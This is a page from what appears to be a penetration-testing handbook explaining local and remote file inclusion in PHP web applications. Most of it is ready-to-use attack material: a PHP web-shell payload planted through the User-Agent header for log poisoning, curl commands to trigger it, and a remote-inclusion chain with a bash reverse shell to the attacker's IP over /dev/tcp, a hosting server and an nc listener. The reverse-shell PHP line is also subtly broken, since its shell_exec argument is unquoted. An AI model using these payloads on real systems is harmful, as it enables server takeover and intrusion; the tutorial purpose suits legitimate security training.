> For the complete documentation index, see [llms.txt](https://book.dragonsploit.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.dragonsploit.com/web-application-testing/attacks/file-inclusion.md).

# File Inclusion

This vulnerability exists when a file is referenced and any code in the referenced file is included in the code of the referencing page. In other words, the content of the retrieved file is interpreted and executed instead of just read and displayed.

There are two sub classes to this general vulnerability: Local File Inclusion (LFI) and Remote File Inclusion (RFI). LFI is limited to including files that are on the web server whereas RFI includes files from off the web server.

## LFI

### Log Poisoning

Log poisoning is where you inject malicious code into the server's log and then execute that code with the LFI vulnerability.

#### Modifying User-Agent

Using Burp Suite or ZAP, modify the User-Agent to:

```php
User-Agent: <?php echo '<pre>' . shell_exec($_GET['cmd'\]) . '</pre>';?>
```

* The `<pre>` is used to preserver any line breaks in the output. If this is not included and the output is multi line, it would be easier to read by viewing the source.
* The `shell_exec` executes OS commands
  * Another command that can be used is `system`
* The `$_GET` is an associative array of variables that are passed as URL parameters.

Then include the log file using the LFI.

```bash
curl http://vulnsite.com/index.php?file=<path to log>&cmd=<command>
```

## RFI

RFI is usually easier to exploit since you can host the malicious file to be included. However, this does require that `allow_url_include` and `allow_url_fopen` to be set to '1' in the php configuration. By default `allow_url_fopen` is set to '1'; however `allow_url_include` is set to '0.'

To exploit this:

* Create a malicious php file

  ```php
    <?php echo '<pre>' . shell_exec(/bin/bash -i >& /dev/tcp/<your ip>/<listen port> 0>&1) . '</pre>';?>
  ```
* Host the shell with a web browser

  ```bash
    sudo python3 -m http.server 80
  ```
* Set up a listener

  ```bash
    sudo nc -nvlp <port>
  ```
* Include the file using the RFI

  ```bash
    curl http://vulnsite.com/index.php?file=http://<your server>/<file>
  ```